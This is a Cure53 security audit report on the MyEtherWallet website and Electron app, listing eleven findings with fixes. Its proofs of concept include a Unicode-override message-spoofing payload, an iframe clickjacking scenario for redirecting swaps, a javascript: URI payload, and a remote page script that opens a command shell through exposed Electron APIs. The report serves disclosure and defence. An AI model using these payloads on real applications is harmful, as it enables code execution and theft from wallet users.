Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Pentest-Report MyEtherWallet Website 01.2018

Cure53, Dr.-Ing. M. Heiderich, BSc. T.-C. Hong, Dipl.-Ing. A. Inführ, MSc. N. Kobeissi

Index

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Introduction

"MyEtherWallet (MEW) is a free, open-source, client-side interface for generating Ethereum wallets & more. Interact with the Ethereum blockchain easily & securely."

From https://www.myetherwallet.com/

This report documents the findings of a penetration test and source code audit aimed at assessing security of the newly created MyEtherWallet website. The project was carried out by Cure53 in January 2018 and revealed eleven security-relevant findings.

As for the approaches, resources and scope, it should be clarified that the project was requested and funded by the MyCryptoHQ entities team, meaning the maintainers of the MyEtherWallet software compound tested during this assignment. Four testers from the Cure53 team were tasked with this project and given a total budget of ten days for remote-testing, communications and reporting. The scope encompassed the website and its connected relevant sources, as well as the available information and scripts used to deploy the website. While the building blocks behind the MyEtherWallet Electron application were covered by this assessment, the app itself was left out of scope for this round of security testing.

The tests adopted a white-box methodology, primarily because the numerous sources are openly available as it is. In that sense, Cure53 could rely on Github for open source and publicly accessible relevant data. In addition, the testers had access to the newly created website on production, as well as several further items pertaining to documentation. To facilitate communications and test coordination, the Cure53 and MyEtherWallet teams joined a shared, private Slack channel. This space was used for quick exchanges, as well as the MyEtherWallet maintainers issuing responses to the emerging questions. This aided the test in ensuring fluency and proceeding without any road bumps.

In the array of eleven issues, seven constituted actual vulnerabilities and the remaining four were general weaknesses. More importantly, two issues were ranked as "*Critical*" because they had severe implications and carried tremendous risks. Note that these two issues affected the build and deployment scripts, not the website or the website's code itself.

In the following paragraphs, the report briefly elaborates on the assessment's scope and then discusses each finding separately, providing technical details and mitigation advice. The document closes with a conclusion and a general verdict on the security situation at the MyEtherWallet entities in light of this Cure53 security-centered project.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Scope

- **New MyEtherWallet Website**
  - https://alpha.myetherwallet.com/
  - Cure53 tested against the available production website (alpha stage)
- **MyEtherWallet Website Source Code**
  - https://github.com/MyEtherWallet/MyEtherWallet
  - All relevant sources were made available to Cure53 or they are available as OSS.
- **MyEtherWallet Build Scripts & Deployment**
  - Cure53 was made available information about and scripts for building and deploying the MyEtherWallet website, as well as the MyEtherWallet Electron application.
  - Both components were analyzed for security flaws and general bad practices and usage of insecure anti-patterns.

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in a chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *MEW-01-001*) for the purpose of facilitating any future follow-up correspondence.

MEW-01-001 Web: HSTS is not enforced *(Medium)*

It was found that both the production and the staging sites fail to include the HTTP Strict Transport Security (HSTS) header. Currently, when a user visits MyEtherWallet from an unencrypted channel (i.e. http://alpha.myetherwallet.com/), a redirect will be initiated to enforce the user to only use the encrypted HTTPS channel. This, however, allows attackers who have the ability to Man-in-the-Middle (MitM) the network to use techniques like *sslstrip*[1] to proxy clear-text traffic to the victim-user. This is because the initial redirect is on HTTP. As a consequence, the victim will be forced to continue using HTTP connection while the attacker can inject malicious code into pages which the victim interacts with.

By implementing the HSTS header, it can be ensured users will always rely on the encrypted channel after the first time they visited MyEtherWallet. The browser will enforce HTTPS connection, hence not providing opportunities for attackers to perform HTTP-downgrading attacks.

[1] https://moxie.org/software/sslstrip/

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

It is recommended to implement the HSTS header. It is additionally encouraged to apply[2] a strategy of having the domain included in the HSTS *preload* list. Suggested settings are as follows:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

MEW-01-002 Web: Server-side Compromise leads to Full Client Compromise *(Info)*

MyEtherWallet is presented as a client-side application that is hosted as a web page. The web page delivers the necessary client-side JavaScript code for the application to function on the client machine. The current approach means that if a single MyEtherWallet server is compromised, all clients are henceforth compromised due to the attacker's ability to universally - or even selectively - inject client code. This security model is deemed insufficient for a context that is as sensitive as MyEtherWallet's use-case, which involves financial transactions.

It is recommended that the web version of MyEtherWallet is discontinued. Instead, MyEtherWallet can be distributed as an Electron application, or as a signed browser extension. The availability of code-signed binaries installed locally, controlled via code-signed software updates, substantially increases the code delivery security of the MyEtherWallet product and renders it sufficient given the software's use-case.

This being said, it is noted that the MyEtherWallet web application does go to great lengths to sufficiently educate the user regarding the limitations of the application. While this is laudable and highly responsible, it is unclear whether it actually does enough to mitigate the security risks to an acceptable level. In sum, despite all efforts, it cannot be determined that the security model employed for the MyEtherWallet website benefits its use-case.

MEW-01-003 Web: Spoofing Messages verified via Duplicate Properties *(Low)*

The MyEtherWallet web application offers user the possibility to sign any kind of message. These signed messages can be shared with other users who are able to verify that the message's content was not tampered with. However, it was determined that a message property can be visually spoofed. This was achieved by using duplicate keys and the "*RIGHT-TO-LEFT OVERRIDE* (U+202e)" character.

When a user verifies a signed JSON message, the structure is first parsed via *JSON.parse*. As soon as this function encounters two or more identical properties, *JSON.parse* will only parse the last occurrence. The following JavaScript snippet demonstrates this behavior:

[2] https://hstspreload.org/

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
var obj = JSON.parse('{"test" : 1, "test": 2, "test":3}');
obj.test // => 3
```

An attacker can modify an existing signed message and add their own "*message*" property above the *real* message without breaking the signature. As a user could spot the duplicated property, an attacker can abuse certain Unicode characters, which influence the displayed text flow.

The following simple Proof of Concept uses the "*RIGHT-TO-LEFT OVERRIDE* (U+202E)" character to flip the text, therefore creating gibberish text and hiding the presence of a second "*message*" property. It must be noted that multiple U+202E characters could be used to create a more sophisticated payload. Additionally, after verifying the signature, the correct message is displayed in the green notification bar supplied below.

Modified malicious structure:

```
{
"address": "0xdace8a29c5c94d9fb5191ef996f693ae038db4b4",
"message": "fake message",
"signature":
"0xf96c3ad6a3c2f4880a57ed13fbfadd94c94c49d330ed4495107998e9b0169d8a61b55ca2928bb
50e382cd1a0cde95678ba5235511a2d280bd8d932a7e716c3991c",
"version": "2",
"fake": "te<U+202e>est",  "message": "this is the real message"
}
```

Structure displayed in the gui:

Fig.: Verified visual message spoofing

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Although this vulnerability only abuses visual display and does not attack the signature implementation, it could be taken into consideration to implement some filtering to protect an unobservant end-user. As some countries require the U+202e character, removing its support could harm the end-user's experience. Instead, as soon as a user pastes text into the *text-area*, the added text could be passed through the following example code.

```
textarea.value=JSON.Stringify(JSON.parse(content))
```

This approach ensures that no duplicate properties are specified in the *text-area* field as soon as the user clicks on the "*Verify Message*" action.

MEW-01-004 Web: Keystore Protection allows Weak Passwords *(Medium)*

It was found that the Keystore password entry dialog accepts weak passwords such as *iloveyou1*. Given that keystores store long-term keys susceptible to offline attacks, stronger passwords are likely necessary in order to achieve an acceptable level of resilience.

It is recommended that MyEtherWallet begins to enforce the use of random passphrases and prioritizes such strategy over the Keystore passwords. In the event that a user insists on a Keystore password, it is recommended to impose a minimum length of 12 or 14 characters. Furthermore, a password strength measurement library such as *zxcvbn*[3] can be used in order to provide more nuanced metrics on password strength.

MEW-01-006 Web: UI Redressing Attack due to Website being frameable *(Low)*

MyEtherWallet implements neither the *X-Frame-Options* nor the *Content-Security-Policy* header. This means that the website is inherently frameable by an external website. In effect, an attacker can embed the site using an Iframe and overlay something on top of it. As a result, users may be tricked into performing cursor/keystroke-based actions on something other than what they actually intended to conduct the action on. In the context of the tested product, no direct sensitive actions can be exploited as actions involving account are stateless. Nevertheless, the flaw is still exploitable in some scenarios.

PoC:

- Victim has a pending *Swap* request.
- Attacker frames the *Swap* page and styles it in a way that only certain areas are visible:
  <iframe src="https://alpha.myetherwallet.com/swap"></iframe>

[3]https://github.com/dropbox/zxcvbn

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

- The victim is tricked into canceling the pending request (i.e. clicking the back button), and entering attacker's wallet address (e.g. via a fake "Captcha"). This creates a new *Swap* request.
- The victim resumes the *Swap* in a new browser tab and sends coins to the intermediate address where the final destination is the attacker's wallet.

It is recommended to deploy proper UI Redressing protections by including the *X-Frame-Options: DENY* header. This approach signals for the browser to not let any websites frame the site.

MEW-01-009 Electron: RCE via exposed Electron APIs in preload script *(**Critical**)*

Several customized functions are injected into the Electron built of MyEtherWallet via the *preload* script. This means that these functions will always be available for websites loaded in *BrowserWindow*. It was found that some of the functions directly expose security-critical functions that could allow Remote Code Execution (RCE).

Affected File:
/electron/electron/preload.js

Affected Code:

```
// Selectively expose node integration, since all node integrations are
// disabled by default for security purposes
const { ipcRenderer, shell } = require('electron');

window.electronListen = (event, cb) => {
  ipcRenderer.on(event, cb);
};

window.electronSend = (event, data) => {
  ipcRenderer.send(event, data);
};

window.electronOpenInBrowser = (url) => {
  shell.openExternal(url);
};
```

Step to Reproduce:

1. Open MyEtherWallet Electron built in Windows/Mac.
2. Open *devtool*.
3. Execute the following code in the console to navigate to the attacker-controlled site: *location = 'http://innerht.ml/pentests/myetherwallet/rce1.html'*
4. Observe that *cmd/shell* terminal will be opened.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Source code of *rce1.html*:

```
<script>
electronOpenInBrowser('cmd');
electronOpenInBrowser('file:///bin/sh');
</script>
```

A realistic exploitation scenario could be the user uses the Electron built as a browser to visit websites. An example could be the user clicks the “you can subscribe via mailchimp” link on the banner and the website is injected with the malicious code (e.g. through MitM or the website being compromised). It is recommended not to expose Electron functions in the preload script.

MEW-01-010 Electron: RCE due to contextIsolation being disabled *(**Critical**)*

It was found that the *webPreferences* settings for *BrowserWindow* does not enable the *contextIsolation* option. Without this option, RCE can be achieved by overwriting native functions since preloaded Electron functions will run in the website context by default.

Affected File:
/electron/electron/main.js

Affected Code:

```
function createMainWindow() {
  // Construct new BrowserWindow
  const window = new BrowserWindow({
    titleText: 'MyEtherWallet',
    backgroundColor: '#fbfbfb',
    width: 1220,
    height: 800,
    minWidth: 320,
    minHeight: 400,
    // TODO - Implement styles for custom title bar in
components/ui/TitleBar.scss
    // frame: false,
    // titleBarStyle: 'hidden',
    webPreferences: {
      devTools: true,
      nodeIntegration: false,
      preload: path.join(__dirname, 'preload.js')
    }
  });
```

Step to Reproduce:

1. Open MyEtherWallet Electron built in Windows/Mac.
2. Click on “*Help*” on the rightmost of the *nav* bar.
3. Scroll down to the very bottom and click on the *Twitter* icon.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

4. Search for the "*@c53test*" user.
5. Click on the personal website linked to the account.
6. Observe how the *cmd/shell* terminal is opened.

Despite having the same exploitability as MEW-01-009, the PoC here demonstrates that the issue can be exploited by only having users visit a remote website in the Electron built. It is recommended to enable the *contextIsolation* flag to prevent this issue. Additional advice in this realm is to follow the official Electron security note[4] on this matter.

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

MEW-01-005 Web: External Links not using HTTPS *(Info)*

It was found that certain external URLs rely on an unencrypted HTTP channel, which empowers an attacker with the ability to Man-in-the-Middle (MitM) the network. In this context, an adversary could use techniques like *sslstrip*[5] to proxy clear-text traffic to the victim-user.

Affected URLs:

1. https://github.com/MyEtherWallet/MyEtherWallet/blob/master/common/index.html#L55
2. https://github.com/MyEtherWallet/MyEtherWallet/blob/master/common/config/data.ts#L18
3. https://github.com/MyEtherWallet/MyEtherWallet/blob/master/common/containers/Tabs/ENS/components/Title.tsx#L7
4. https://github.com/MyEtherWallet/MyEtherWallet/blob/master/common/containers/Tabs/ENS/components/GeneralInfoPanel/index.tsx#L78
5. https://github.com/MyEtherWallet/MyEtherWallet/blob/master/common/translations/lang/en.json#L287

Although there are customized *linting* rules[6] which attempt to trap the creation of unsafe anchors, some of them might not be *catchable* due to being created dynamically (e.g. via *dangerouslySetInnerHTML*).

[4] https://github.com/electron/electron/blob/master/docs/tutorial/security.md
[5] https://moxie.org/software/sslstrip/
[6] https://github.com/MyEtherWallet/MyEtherWallet/blob/develop/custom_l...s/noExternalHttpLinkRule.ts

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

It is recommended to embed the links with a consistent use of HTTPS and potentially create a *commit* hook capable of checking for the use of HTTP links and resources. This would help avoid regressions in the described area.

MEW-01-007 Web: Missing HTTP Security Headers *(Info)*

It was found that the web server hosts presently exhibit configurations lacking certain HTTP security headers. This can be observed in the following example.

Server Response:

```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 7862
Connection: keep-alive
Date: Tue, 16 Jan 2018 11:35:12 GMT
Last-Modified: Mon, 15 Jan 2018 10:08:10 GMT
ETag: "d3d67a1394a508673b4535353ca9799d"
Server: AmazonS3
X-Cache: RefreshHit from cloudfront
Via: 1.1 5cb344ff6dab1426df8dd2e52420b86e.cloudfront.net (CloudFront)
X-Amz-Cf-Id: lU2sCXdJMQs5q3kSDVizisJ9pfT8wlmZb_VC8n6qI44BmPd8vBAiqg==
```

While this flaw does not directly lead to a security issue, it might aid attackers in their efforts to exploit other problems. It is recommended to add the following headers to every server response, including error pages and error responses e.g. the *4xx* items.

To address the headers in a more comprehensive manner, the list below enumerates the headers that need to be reviewed.

- **X-Frame-Options:** This header specifies whether the web page is allowed to be framed, as explained in MEW-01-006.
- **X-Content-Type-Options:** This header determines whether the browser should perform MIME Sniffing on the resource. The most common attack abusing the lack of this header is tricking the browser to render a resource as a HTML document, effectively leading to Cross Site Scripting (XSS).
- **X-XSS-Protection:** This header specifies whether the browser's built-in XSS auditors should be activated (enabled by default). Not only does setting this header prevent Reflected XSS, but it also helps to avoid the attacks abusing the issues on the XSS auditor itself with false-positives, e.g. protecting against universal XSS and similar. It is recommended to set the value to either **0** or **1; mode=block**.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

- **Strict-Transport-Security:** Without the HSTS header, a MitM could attempt to perform channel downgrade attacks, as explained in MEW-01-001.
- **Content-Security-Policy:** The presence of this header could improve the security of those web applications by preventing a wide range of XSS attacks. A sample policy that allows only same origin resources are as follows. *Content-Security-Policy: default-src 'self'*

MEW-01-008 Web: Transaction History URL allows *javascript* URIs *(Info)*

The web application supports multiple pre-defined nodes, which can be chosen by the user. Each of these nodes support the property "*blockExplorer*" or "*tokenExplorer"*. These specify an URL, which is shown in the "*Transaction History*" in the account overview. It was discovered that currently no validation is enforced therefore allowing pseudo-protocols like *javascript:*. The issue was discovered when the hardcoded "*Ropsten (infuria.io)*" node was modified to use a JavaScript URL supplied next.

```
[...] Ropsten:
{name:'Ropsten',unit:'ETH',chainId:3,color:'#adc101',blockExplorer:makeExplorer(
'javascript:alert(location)//'),[...]
```

After successful modification, the following DOM is created for the transaction history. As soon as a user clicks on the link, the current location will be displayed in an alert box.

```
<li class="AccountInfo-list-item"><a
href="javascript:alert(location)///address/0xdace8a29c5c94d9fb5191ef996f693ae038
db4b4" target="_blank" rel="noopener noreferrer">Ropsten
(javascript:alert(location)//)</a></li>
```

The exploitation of this vulnerability is currently impossible because none of these two properties can be employed for a custom node. Additionally, it must be mentioned that the used attributes for the *<a>* tag are preventing the execution of the specified payload in the latest Firefox version.

Although the vulnerability cannot be reached by an attacker at present, it can pose a risk in the future when additional features are added to the platform, especially in connection with allowing custom *explorer* URLs. Therefore it is recommended to enforce a whitelist of valid protocols, for instance *https* or *http/https*.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

MEW-01-011 Config: *dangerouslySetInnerHTML* Lint Rule *(Info)*

The MyEtherWallet package defines a *lint* rule to enforce that all hardcoded links are using the *https* protocol. Adding another *lint* rule should be considered to disallow the use of *dangerouslySetInnerHTML reacts,* as this property can introduce Cross Site Scripting vulnerabilities.

It must be noted that MyEtherWallet employs *angerouslySetInnerHTML* for its headers announcement, meaning that this part of the project would have to be rewritten upon introducing a new strategy.

Conclusions

The overall outcomes of this January 2017 security assessment of MyEtherWallet are positive. Four members of the Cure53, who were tasked with this assignment and given a ten-day window for examining the scoped components of the MyEtherWallet project, concurred that the product was written with security in mind.

Despite eleven issues, the web applications were judged as strong, with the code being similarly sound in terms of design practices rooted in the premise of safeguarding users. No major vulnerability capable of harming the security of an end-user could be discovered on the MyEtherWallet scope. While the project generally makes a surprisingly solid impression, it needs to be kept in mind that, as a rule, a website cannot be deemed as an ideal way to deploy cryptographic wallet features. More pertinent arguments about this topic can be found in MEW-01-002. Importantly, all web-related findings are minor issues which can only but aid an attacker in carrying out exploits. However, a single flaw never enabled a full compromise or complete exploitation, which in sum translates to a very good result.

In terms of cryptographic security, MyEtherWallet restricts itself to a clearly-understandable and well-implemented subset of primitives, integrations and security models. Furthermore, at every opportunity where a user may theoretically “shoot themselves in the foot”, MyEtherWallet is equipped with well-written, insistent and responsible warnings. In that sense, one feels informed about the application’s proper use-case abilities, its limitations, and the way it is meant to be used in conjunction with other interfaces. The only major security concern in terms of cryptographic reliability is linked to the code delivery model. As already mentioned, no financial application should be delivered over a simple webpage. Cure53 insists that a code delivery model that installs local, code-signed binaries, is absolutely necessary to replace the current solution, subpar from a security standpoint. A new strategy can be accomplished with either Electron, or a browser extension, or a different corresponding approach. Finally, the release process seems well-defined, as it enumerates responsibilities for new

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

processes clearly. It further enforces the approval of two different maintainers prior to allowing a merge.

Unlike the primarily positive results in the aforementioned realms, reviewing the build and deploy scripts, especially for the Electron application, yielded numerous findings and negative impressions. The chosen Electron configuration fails to exhibit proper security features, for example in terms of missing the *contextIsolation* flag which is critically important to prevent RCE attacks via XSS. Both MEW-01-009 and MEW-01-010 tickets shed more light on this problem.

To conclude, the MyEtherWallet project withstood Cure53's scrutiny in the majority of the tested areas. There is no doubt that the project maintainers display high level of skill and confidence when it comes to secure design and promoting solutions that safeguard users. From a security standpoint, MyEtherWallet is clearly on the right track. Once all of the reported findings are addressed, the project should be considered production-ready.

Cure53 would like to thank Taylor Monahan and Daniel Ternyak from the MyCryptoHQ team for their excellent project coordination, support and assistance, both before and during this assignment.